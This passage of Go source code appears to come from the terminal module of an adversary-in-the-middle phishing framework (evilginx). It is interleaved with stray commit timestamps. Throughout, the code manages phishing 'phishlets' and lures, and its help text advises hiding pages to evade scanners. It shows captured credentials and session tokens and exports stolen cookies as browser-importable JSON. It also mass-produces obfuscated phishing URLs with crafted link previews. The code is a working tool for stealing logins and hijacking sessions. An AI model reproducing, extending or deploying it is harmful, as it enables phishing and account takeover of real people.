if pn == 2 {
if len(t.cfg.lures) == 0 {
break
}
if args[1] == "all" {
di := []int{}
2023-05-10 11:04:32 +02:00
for n := range t.cfg.lures {
2019-01-22 11:32:20 +01:00
di = append(di, n)
}
if len(di) > 0 {
rdi := t.cfg.DeleteLures(di)
for _, id := range rdi {
log.Info("deleted lure with ID: %d", id)
}
}
return nil
} else {
rc := strings.Split(args[1], ",")
di := []int{}
for _, pc := range rc {
pc = strings.TrimSpace(pc)
rd := strings.Split(pc, "-")
if len(rd) == 2 {
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
if err != nil {
return fmt.Errorf("delete: %v", err)
}
e_id, err := strconv.Atoi(strings.TrimSpace(rd[1]))
if err != nil {
return fmt.Errorf("delete: %v", err)
}
for i := b_id; i <= e_id; i++ {
di = append(di, i)
}
} else if len(rd) == 1 {
b_id, err := strconv.Atoi(strings.TrimSpace(rd[0]))
if err != nil {
return fmt.Errorf("delete: %v", err)
}
di = append(di, b_id)
}
}
if len(di) > 0 {
rdi := t.cfg.DeleteLures(di)
for _, id := range rdi {
log.Info("deleted lure with ID: %d", id)
}
}
return nil
}
}
return fmt.Errorf("incorrect number of arguments")
default:
id, err := strconv.Atoi(args[0])
if err != nil {
return err
}
l, err := t.cfg.GetLure(id)
if err != nil {
return err
}
var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0)))
keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "paused", "info", "og_title", "og_desc", "og_image", "og_url"}
vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), s_paused, l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
2019-01-22 11:32:20 +01:00
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
}
}
return fmt.Errorf("invalid syntax: %s", args)
}
func (t *Terminal) monitorLurePause() {
var pausedLures map[string]int64
pausedLures = make(map[string]int64)
for {
t_cur := time.Now()
for n, l := range t.cfg.lures {
if l.PausedUntil > 0 {
l_id := t.cfg.lureIds[n]
t_pause := time.Unix(l.PausedUntil, 0)
if t_pause.After(t_cur) {
pausedLures[l_id] = l.PausedUntil
} else {
if _, ok := pausedLures[l_id]; ok {
log.Info("[%s] lure (%d) is now active", l.Phishlet, n)
}
pausedLures[l_id] = 0
l.PausedUntil = 0
}
}
}
time.Sleep(500 * time.Millisecond)
}
}
2018-07-26 11:20:37 +02:00
func (t *Terminal) createHelp() {
h, _ := NewHelp()
h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
2024-04-01 13:29:29 +02:00
readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4", readline.PcItem("external"), readline.PcItem("bind")), readline.PcItem("unauth_url"), readline.PcItem("autocert", readline.PcItem("on"), readline.PcItem("off")),
readline.PcItem("gophish", readline.PcItem("admin_url"), readline.PcItem("api_key"), readline.PcItem("insecure", readline.PcItem("true"), readline.PcItem("false")), readline.PcItem("test"))))
2018-07-26 11:20:37 +02:00
h.AddSubCommand("config", nil, "", "show all configuration variables")
h.AddSubCommand("config", []string{"domain"}, "domain <domain>", "set base domain for all phishlets (e.g. evilsite.com)")
2023-07-11 10:03:54 +02:00
h.AddSubCommand("config", []string{"ipv4"}, "ipv4 <ipv4_address>", "set ipv4 external address of the current server")
h.AddSubCommand("config", []string{"ipv4", "external"}, "ipv4 external <ipv4_address>", "set ipv4 external address of the current server")
h.AddSubCommand("config", []string{"ipv4", "bind"}, "ipv4 bind <ipv4_address>", "set ipv4 bind address of the current server")
h.AddSubCommand("config", []string{"unauth_url"}, "unauth_url <url>", "change the url where all unauthorized requests will be redirected to")
h.AddSubCommand("config", []string{"autocert"}, "autocert <on|off>", "enable or disable the automated certificate retrieval from letsencrypt")
2024-04-01 13:29:29 +02:00
h.AddSubCommand("config", []string{"gophish", "admin_url"}, "gophish admin_url <url>", "set up the admin url of a gophish instance to communicate with (e.g. https://gophish.domain.com:7777)")
h.AddSubCommand("config", []string{"gophish", "api_key"}, "gophish api_key <key>", "set up the api key for the gophish instance to communicate with")
h.AddSubCommand("config", []string{"gophish", "insecure"}, "gophish insecure <true|false>", "enable or disable the verification of gophish tls certificate (set to `true` if using self-signed certificate)")
h.AddSubCommand("config", []string{"gophish", "test"}, "gophish test", "test the gophish configuration")
2018-07-26 11:20:37 +02:00
2020-09-14 13:10:53 +02:00
h.AddCommand("proxy", "general", "manage proxy configuration", "Configures proxy which will be used to proxy the connection to remote website", LAYER_TOP,
readline.PcItem("proxy", readline.PcItem("enable"), readline.PcItem("disable"), readline.PcItem("type"), readline.PcItem("address"), readline.PcItem("port"), readline.PcItem("username"), readline.PcItem("password")))
h.AddSubCommand("proxy", nil, "", "show all configuration variables")
h.AddSubCommand("proxy", []string{"enable"}, "enable", "enable proxy")
h.AddSubCommand("proxy", []string{"disable"}, "disable", "disable proxy")
h.AddSubCommand("proxy", []string{"type"}, "type <type>", "set proxy type: http (default), https, socks5, socks5h")
h.AddSubCommand("proxy", []string{"address"}, "address <address>", "set proxy address")
h.AddSubCommand("proxy", []string{"port"}, "port <port>", "set proxy port")
h.AddSubCommand("proxy", []string{"username"}, "username <username>", "set proxy authentication username")
h.AddSubCommand("proxy", []string{"password"}, "password <password>", "set proxy authentication password")
2018-07-26 11:20:37 +02:00
h.AddCommand("phishlets", "general", "manage phishlets configuration", "Shows status of all available phishlets and allows to change their parameters and enabled status.", LAYER_TOP,
2023-05-10 11:04:32 +02:00
readline.PcItem("phishlets", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("delete", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)),
2018-07-26 11:20:37 +02:00
readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("unauth_url", readline.PcItemDynamic(t.phishletPrefixCompleter))))
2018-07-26 11:20:37 +02:00
h.AddSubCommand("phishlets", nil, "", "show status of all available phishlets")
2023-05-10 11:04:32 +02:00
h.AddSubCommand("phishlets", nil, "<phishlet>", "show details of a specific phishlets")
h.AddSubCommand("phishlets", []string{"create"}, "create <phishlet> <child_name> <key1=value1> <key2=value2>", "create child phishlet from a template phishlet with custom parameters")
h.AddSubCommand("phishlets", []string{"delete"}, "delete <phishlet>", "delete child phishlet")
2018-07-26 11:20:37 +02:00
h.AddSubCommand("phishlets", []string{"hostname"}, "hostname <phishlet> <hostname>", "set hostname for given phishlet (e.g. this.is.not.a.phishing.site.evilsite.com)")
h.AddSubCommand("phishlets", []string{"unauth_url"}, "unauth_url <phishlet> <url>", "override global unauth_url just for this phishlet")
2018-07-26 11:20:37 +02:00
h.AddSubCommand("phishlets", []string{"enable"}, "enable <phishlet>", "enables phishlet and requests ssl/tls certificate if needed")
h.AddSubCommand("phishlets", []string{"disable"}, "disable <phishlet>", "disables phishlet")
h.AddSubCommand("phishlets", []string{"hide"}, "hide <phishlet>", "hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)")
h.AddSubCommand("phishlets", []string{"unhide"}, "unhide <phishlet>", "makes the phishing page available and reachable from the outside")
2018-09-08 13:45:17 +02:00
h.AddSubCommand("phishlets", []string{"get-hosts"}, "get-hosts <phishlet>", "generates entries for hosts file in order to use localhost for testing")
2018-07-26 11:20:37 +02:00
h.AddCommand("sessions", "general", "manage sessions and captured tokens with credentials", "Shows all captured credentials and authentication tokens. Allows to view full history of visits and delete logged sessions.", LAYER_TOP,
readline.PcItem("sessions", readline.PcItem("delete", readline.PcItem("all"))))
h.AddSubCommand("sessions", nil, "", "show history of all logged visits and captured credentials")
h.AddSubCommand("sessions", nil, "<id>", "show session details, including captured authentication tokens, if available")
h.AddSubCommand("sessions", []string{"delete"}, "delete <id>", "delete logged session with <id> (ranges with separators are allowed e.g. 1-7,10-12,15-25)")
h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions")
2019-01-22 11:32:20 +01:00
h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP,
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"), readline.PcItem("pause"), readline.PcItem("unpause"),
2023-05-10 11:04:32 +02:00
readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("redirector", readline.PcItemDynamic(t.redirectorsPrefixCompleter)))),
2019-01-22 11:32:20 +01:00
readline.PcItem("delete", readline.PcItem("all"))))
2020-09-14 13:10:53 +02:00
h.AddSubCommand("lures", nil, "", "show all create lures")
2019-01-22 11:32:20 +01:00
h.AddSubCommand("lures", nil, "<id>", "show details of a lure with a given <id>")
h.AddSubCommand("lures", []string{"create"}, "create <phishlet>", "creates new lure for given <phishlet>")
h.AddSubCommand("lures", []string{"delete"}, "delete <id>", "deletes lure with given <id>")
h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures")
2020-09-14 13:10:53 +02:00
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> <key1=value1> <key2=value2>", "generates a phishing url for a lure with a given <id>, with optional parameters")
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> import <params_file> export <urls_file> <text|csv|json>", "generates phishing urls, importing parameters from <import_path> file and exporting them to <export_path>")
h.AddSubCommand("lures", []string{"pause"}, "pause <id> <1d2h3m4s>", "pause lure <id> for specific amount of time and redirect visitors to `unauth_url`")
h.AddSubCommand("lures", []string{"unpause"}, "unpause <id>", "unpause lure <id> and make it available again")
2020-09-14 13:10:53 +02:00
h.AddSubCommand("lures", []string{"edit", "hostname"}, "edit <id> hostname <hostname>", "sets custom phishing <hostname> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "path"}, "edit <id> path <path>", "sets custom url <path> for a lure with a given <id>")
2023-05-10 11:04:32 +02:00
h.AddSubCommand("lures", []string{"edit", "redirector"}, "edit <id> redirector <path>", "sets an html redirector directory <path> for a lure with a given <id>")
2020-09-14 13:10:53 +02:00
h.AddSubCommand("lures", []string{"edit", "ua_filter"}, "edit <id> ua_filter <regexp>", "sets a regular expression user-agent whitelist filter <regexp> for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit <id> redirect_url <redirect_url>", "sets redirect url that user will be navigated to on successful authorization, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit <id> phishlet <phishlet>", "change the phishlet, the lure with a given <id> applies to")
h.AddSubCommand("lures", []string{"edit", "info"}, "edit <id> info <info>", "set personal information to describe a lure with a given <id> (display only)")
h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit <id> og_title <title>", "sets opengraph title that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit <id> og_des <title>", "sets opengraph description that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit <id> og_image <title>", "sets opengraph image url that will be shown in link preview, for a lure with a given <id>")
h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit <id> og_url <title>", "sets opengraph url that will be shown in link preview, for a lure with a given <id>")
h.AddCommand("blacklist", "general", "manage automatic blacklisting of requesting ip addresses", "Select what kind of requests should result in requesting IP addresses to be blacklisted.", LAYER_TOP,
2023-05-10 11:04:32 +02:00
readline.PcItem("blacklist", readline.PcItem("all"), readline.PcItem("unauth"), readline.PcItem("noadd"), readline.PcItem("off"), readline.PcItem("log", readline.PcItem("on"), readline.PcItem("off"))))
2020-09-14 13:10:53 +02:00
h.AddSubCommand("blacklist", nil, "", "show current blacklisting mode")
h.AddSubCommand("blacklist", []string{"all"}, "all", "block and blacklist ip addresses for every single request (even authorized ones!)")
h.AddSubCommand("blacklist", []string{"unauth"}, "unauth", "block and blacklist ip addresses only for unauthorized requests")
2023-05-10 11:04:32 +02:00
h.AddSubCommand("blacklist", []string{"noadd"}, "noadd", "block but do not add new ip addresses to blacklist")
h.AddSubCommand("blacklist", []string{"off"}, "off", "ignore blacklist and allow every request to go through")
h.AddSubCommand("blacklist", []string{"log"}, "log <on|off>", "enable or disable log output for blacklist messages")
h.AddCommand("test-certs", "general", "test TLS certificates for active phishlets", "Test availability of set up TLS certificates for active phishlets.", LAYER_TOP,
readline.PcItem("test-certs"))
2019-01-22 11:32:20 +01:00
2018-07-26 11:20:37 +02:00
h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP,
readline.PcItem("clear"))
t.hlp = h
}
2024-03-01 15:48:42 +01:00
func (t *Terminal) cookieTokensToJSON(tokens map[string]map[string]*database.CookieToken) string {
2018-07-26 11:20:37 +02:00
type Cookie struct {
Path string `json:"path"`
Domain string `json:"domain"`
ExpirationDate int64 `json:"expirationDate"`
Value string `json:"value"`
Name string `json:"name"`
HttpOnly bool `json:"httpOnly"`
HostOnly bool `json:"hostOnly"`
Secure bool `json:"secure"`
Session bool `json:"session"`
2018-07-26 11:20:37 +02:00
}
var cookies []*Cookie
for domain, tmap := range tokens {
for k, v := range tmap {
c := &Cookie{
Path: v.Path,
2018-07-26 11:20:37 +02:00
Domain: domain,
ExpirationDate: time.Now().Add(365 * 24 * time.Hour).Unix(),
Value: v.Value,
2018-07-26 11:20:37 +02:00
Name: k,
HttpOnly: v.HttpOnly,
Secure: false,
Session: false,
}
if strings.Index(k, "__Host-") == 0 || strings.Index(k, "__Secure-") == 0 {
c.Secure = true
2018-07-26 11:20:37 +02:00
}
if domain[:1] == "." {
c.HostOnly = false
// c.Domain = domain[1:] - bug support no longer needed
// NOTE: EditThisCookie was phased out in Chrome as it did not upgrade to manifest v3. The extension had a bug that I had to support to make the exported cookies work for !hostonly cookies.
// Use StorageAce extension from now on: https://chromewebstore.google.com/detail/storageace/cpbgcbmddckpmhfbdckeolkkhkjjmplo
} else {
c.HostOnly = true
}
if c.Path == "" {
c.Path = "/"
}
2018-07-26 11:20:37 +02:00
cookies = append(cookies, c)
}
}
json, _ := json.Marshal(cookies)
return string(json)
}
2024-03-01 15:48:42 +01:00
func (t *Terminal) tokensToJSON(tokens map[string]string) string {
2023-05-10 11:04:32 +02:00
var ret string
white := color.New(color.FgHiWhite)
for k, v := range tokens {
ret += fmt.Sprintf("%s: %s\n", k, white.Sprint(v))
}
return ret
}
2018-07-26 11:20:37 +02:00
func (t *Terminal) checkStatus() {
if t.cfg.GetBaseDomain() == "" {
log.Warning("server domain not set! type: config domain <domain>")
}
2023-07-11 10:03:54 +02:00
if t.cfg.GetServerExternalIP() == "" {
log.Warning("server external ip not set! type: config ipv4 external <external_ipv4_address>")
2018-07-26 11:20:37 +02:00
}
}
2023-05-10 11:04:32 +02:00
func (t *Terminal) manageCertificates(verbose bool) {
if !t.p.developer {
if t.cfg.IsAutocertEnabled() {
hosts := t.p.cfg.GetActiveHostnames("")
//wc_host := t.p.cfg.GetWildcardHostname()
//hosts := []string{wc_host}
//hosts = append(hosts, t.p.cfg.GetActiveHostnames("")...)
if verbose {
log.Info("obtaining and setting up %d TLS certificates - please wait up to 60 seconds...", len(hosts))
}
err := t.p.crt_db.setManagedSync(hosts, 60*time.Second)
if err != nil {
log.Error("failed to set up TLS certificates: %s", err)
log.Error("run 'test-certs' command to retry")
return
}
if verbose {
log.Info("successfully set up all TLS certificates")
}
} else {
err := t.p.crt_db.setUnmanagedSync(verbose)
if err != nil {
log.Error("failed to set up TLS certificates: %s", err)
log.Error("run 'test-certs' command to retry")
return
}
2020-09-14 13:10:53 +02:00
}
}
}
2018-07-26 11:20:37 +02:00
func (t *Terminal) sprintPhishletStatus(site string) string {
higreen := color.New(color.FgHiGreen)
logreen := color.New(color.FgGreen)
2018-07-26 11:20:37 +02:00
hiblue := color.New(color.FgHiBlue)
2023-05-10 11:04:32 +02:00
blue := color.New(color.FgBlue)
cyan := color.New(color.FgHiCyan)
2018-07-26 11:20:37 +02:00
yellow := color.New(color.FgYellow)
2023-05-10 11:04:32 +02:00
higray := color.New(color.FgWhite)
logray := color.New(color.FgHiBlack)
2018-07-26 11:20:37 +02:00
n := 0
cols := []string{"phishlet", "status", "visibility", "hostname", "unauth_url"}
var rows [][]string
2023-05-10 11:04:32 +02:00
var pnames []string
for s := range t.cfg.phishlets {
pnames = append(pnames, s)
}
sort.Strings(pnames)
for _, s := range pnames {
pl := t.cfg.phishlets[s]
2018-07-26 11:20:37 +02:00
if site == "" || s == site {
2023-05-10 11:04:32 +02:00
_, err := t.cfg.GetPhishlet(s)
2018-07-26 11:20:37 +02:00
if err != nil {
continue
}
2023-05-10 11:04:32 +02:00
status := logray.Sprint("disabled")
if pl.isTemplate {
status = yellow.Sprint("template")
} else if t.cfg.IsSiteEnabled(s) {
2018-07-26 11:20:37 +02:00
status = higreen.Sprint("enabled")
}
2023-05-10 11:04:32 +02:00
hidden_status := higray.Sprint("visible")
2018-07-26 11:20:37 +02:00
if t.cfg.IsSiteHidden(s) {
2023-05-10 11:04:32 +02:00
hidden_status = logray.Sprint("hidden")
2018-07-26 11:20:37 +02:00
}
domain, _ := t.cfg.GetSiteDomain(s)
unauth_url, _ := t.cfg.GetSiteUnauthUrl(s)
2018-07-26 11:20:37 +02:00
n += 1
2023-05-10 11:04:32 +02:00
if s == site {
var param_names string
for k, v := range pl.customParams {
if len(param_names) > 0 {
param_names += "; "
}
param_names += k
if v != "" {
param_names += ": " + v
}
}
keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "unauth_url", "params"}
vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logray.Sprint(param_names)}
2023-05-10 11:04:32 +02:00
return AsRows(keys, vals)
} else if site == "" {
rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url)})
2023-05-10 11:04:32 +02:00
}
2018-07-26 11:20:37 +02:00
}
}
return AsTable(cols, rows)
2018-07-26 11:20:37 +02:00
}
2023-05-10 11:04:32 +02:00
func (t *Terminal) sprintIsEnabled(enabled bool) string {
logray := color.New(color.FgHiBlack)
normal := color.New(color.Reset)
if enabled {
return normal.Sprint("true")
} else {
return logray.Sprint("false")
}
}
2019-01-22 11:32:20 +01:00
func (t *Terminal) sprintLures() string {
higreen := color.New(color.FgHiGreen)
hiblue := color.New(color.FgHiBlue)
yellow := color.New(color.FgYellow)
2020-09-14 13:10:53 +02:00
cyan := color.New(color.FgCyan)
2019-01-22 11:32:20 +01:00
hcyan := color.New(color.FgHiCyan)
2020-09-14 13:10:53 +02:00
white := color.New(color.FgHiWhite)
2019-01-22 11:32:20 +01:00
//n := 0
cols := []string{"id", "phishlet", "hostname", "path", "redirector", "redirect_url", "paused", "og"}
2019-01-22 11:32:20 +01:00
var rows [][]string
for n, l := range t.cfg.lures {
var og string
if l.OgTitle != "" {
og += higreen.Sprint("x")
} else {
og += "-"
}
if l.OgDescription != "" {
og += higreen.Sprint("x")
} else {
og += "-"
}
if l.OgImageUrl != "" {
og += higreen.Sprint("x")
} else {
og += "-"
}
if l.OgUrl != "" {
og += higreen.Sprint("x")
} else {
og += "-"
}
var s_paused string = higreen.Sprint(GetDurationString(time.Now(), time.Unix(l.PausedUntil, 0)))
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), yellow.Sprint(l.RedirectUrl), s_paused, og})
2019-01-22 11:32:20 +01:00
}
return AsTable(cols, rows)
}
2018-07-26 11:20:37 +02:00
func (t *Terminal) phishletPrefixCompleter(args string) []string {
return t.cfg.GetPhishletNames()
}
2023-05-10 11:04:32 +02:00
func (t *Terminal) redirectorsPrefixCompleter(args string) []string {
dir := t.cfg.GetRedirectorsDir()
2020-09-14 13:10:53 +02:00
files, err := ioutil.ReadDir(dir)
if err != nil {
return []string{}
}
var ret []string
for _, f := range files {
2023-05-10 11:04:32 +02:00
if f.IsDir() {
index_path1 := filepath.Join(dir, f.Name(), "index.html")
index_path2 := filepath.Join(dir, f.Name(), "index.htm")
index_found := ""
if _, err := os.Stat(index_path1); !os.IsNotExist(err) {
index_found = index_path1
} else if _, err := os.Stat(index_path2); !os.IsNotExist(err) {
index_found = index_path2
}
if index_found != "" {
name := f.Name()
if strings.Contains(name, " ") {
name = "\"" + name + "\""
}
ret = append(ret, name)
2020-09-14 13:10:53 +02:00
}
}
}
return ret
}
func (t *Terminal) luresIdPrefixCompleter(args string) []string {
var ret []string
2023-05-10 11:04:32 +02:00
for n := range t.cfg.lures {
2020-09-14 13:10:53 +02:00
ret = append(ret, strconv.Itoa(n))
}
return ret
}
func (t *Terminal) importParamsFromFile(base_url string, path string) ([]string, []map[string]string, error) {
var ret []string
var ret_params []map[string]string
f, err := os.OpenFile(path, os.O_RDONLY, 0644)
if err != nil {
return ret, ret_params, err
}
defer f.Close()
var format string = "text"
if filepath.Ext(path) == ".csv" {
format = "csv"
} else if filepath.Ext(path) == ".json" {
format = "json"
}
log.Info("importing parameters file as: %s", format)
switch format {
case "text":
fs := bufio.NewScanner(f)
fs.Split(bufio.ScanLines)
n := 0
for fs.Scan() {
n += 1
l := fs.Text()
// remove comments
if n := strings.Index(l, ";"); n > -1 {
l = l[:n]
}
l = strings.Trim(l, " ")
if len(l) > 0 {
args, err := parser.Parse(l)
if err != nil {
log.Error("syntax error at line %d: [%s] %v", n, l, err)
continue
}
params := url.Values{}
map_params := make(map[string]string)
for _, val := range args {
sp := strings.Index(val, "=")
if sp == -1 {
log.Error("invalid parameter syntax at line %d: [%s]", n, val)
continue
}
k := val[:sp]
v := val[sp+1:]
params.Add(k, v)
map_params[k] = v
}
if len(params) > 0 {
ret = append(ret, t.createPhishUrl(base_url, &params))
ret_params = append(ret_params, map_params)
}
}
}
case "csv":
r := csv.NewReader(bufio.NewReader(f))
param_names, err := r.Read()
if err != nil {
return ret, ret_params, err
}
var params []string
for params, err = r.Read(); err == nil; params, err = r.Read() {
if len(params) != len(param_names) {
log.Error("number of csv values do not match number of keys: %v", params)
continue
}
item := url.Values{}
map_params := make(map[string]string)
for n, param := range params {
item.Add(param_names[n], param)
map_params[param_names[n]] = param
}
if len(item) > 0 {
ret = append(ret, t.createPhishUrl(base_url, &item))
ret_params = append(ret_params, map_params)
}
}
if err != io.EOF {
return ret, ret_params, err
}
case "json":
data, err := ioutil.ReadAll(bufio.NewReader(f))
if err != nil {
return ret, ret_params, err
}
var params_json []map[string]interface{}
err = json.Unmarshal(data, &params_json)
if err != nil {
return ret, ret_params, err
}
for _, json_params := range params_json {
item := url.Values{}
map_params := make(map[string]string)
for k, v := range json_params {
if val, ok := v.(string); ok {
item.Add(k, val)
map_params[k] = val
} else {
log.Error("json parameter '%s' value must be of type string", k)
}
}
if len(item) > 0 {
ret = append(ret, t.createPhishUrl(base_url, &item))
ret_params = append(ret_params, map_params)
}
}
/*
r := json.NewDecoder(bufio.NewReader(f))
t, err := r.Token()
if err != nil {
return ret, ret_params, err
}
if s, ok := t.(string); ok && s == "[" {
for r.More() {
t, err := r.Token()
if err != nil {
return ret, ret_params, err
}
if s, ok := t.(string); ok && s == "{" {
for r.More() {
t, err := r.Token()
if err != nil {
return ret, ret_params, err
}
}
}
}
} else {
return ret, ret_params, fmt.Errorf("array of parameters not found")
}*/
}
return ret, ret_params, nil
}
func (t *Terminal) exportPhishUrls(export_path string, phish_urls []string, phish_params []map[string]string, format string) error {
if len(phish_urls) != len(phish_params) {
return fmt.Errorf("phishing urls and phishing parameters count do not match")
}
if !stringExists(format, []string{"text", "csv", "json"}) {
return fmt.Errorf("export format can only be 'text', 'csv' or 'json'")
}
f, err := os.OpenFile(export_path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
if err != nil {
return err
}
defer f.Close()
if format == "text" {
for n, phish_url := range phish_urls {
var params string
m := 0
params_row := phish_params[n]
for k, v := range params_row {
if m > 0 {
params += " "
}
params += fmt.Sprintf("%s=\"%s\"", k, v)
m += 1
}
_, err := f.WriteString(phish_url + " ; " + params + "\n")
if err != nil {
return err
}
}
} else if format == "csv" {
var data [][]string
w := csv.NewWriter(bufio.NewWriter(f))
var cols []string
var param_names []string
cols = append(cols, "url")
for _, params_row := range phish_params {
2023-05-10 11:04:32 +02:00
for k := range params_row {
2020-09-14 13:10:53 +02:00
if !stringExists(k, param_names) {
cols = append(cols, k)
param_names = append(param_names, k)
}
}
}
data = append(data, cols)
for n, phish_url := range phish_urls {
params := phish_params[n]
var vals []string
vals = append(vals, phish_url)
for _, k := range param_names {
vals = append(vals, params[k])
}
data = append(data, vals)
}
err := w.WriteAll(data)
if err != nil {
return err
}
} else if format == "json" {
type UrlItem struct {
PhishUrl string `json:"url"`
Params map[string]string `json:"params"`
}
var items []UrlItem
for n, phish_url := range phish_urls {
params := phish_params[n]
item := UrlItem{
PhishUrl: phish_url,
Params: params,
}
items = append(items, item)
}
data, err := json.MarshalIndent(items, "", "\t")
if err != nil {
return err
}
_, err = f.WriteString(string(data))
if err != nil {
return err
}
}
return nil
}
func (t *Terminal) createPhishUrl(base_url string, params *url.Values) string {
var ret string = base_url
if len(*params) > 0 {
2023-05-10 11:04:32 +02:00
key_arg := strings.ToLower(GenRandomString(rand.Intn(3) + 1))
2020-09-14 13:10:53 +02:00
enc_key := GenRandomAlphanumString(8)
dec_params := params.Encode()
var crc byte
for _, c := range dec_params {
crc += byte(c)
}
c, _ := rc4.NewCipher([]byte(enc_key))
enc_params := make([]byte, len(dec_params)+1)
c.XORKeyStream(enc_params[1:], []byte(dec_params))
enc_params[0] = crc
key_val := enc_key + base64.RawURLEncoding.EncodeToString([]byte(enc_params))
ret += "?" + key_arg + "=" + key_val
}
return ret
}
2018-07-26 11:20:37 +02:00
func (t *Terminal) sprintVar(k string, v string) string {
vc := color.New(color.FgYellow)
return k + ": " + vc.Sprint(v)
}
func (t *Terminal) filterInput(r rune) (rune, bool) {
switch r {
// block CtrlZ feature
case readline.CharCtrlZ:
return r, false
}
return r, true
}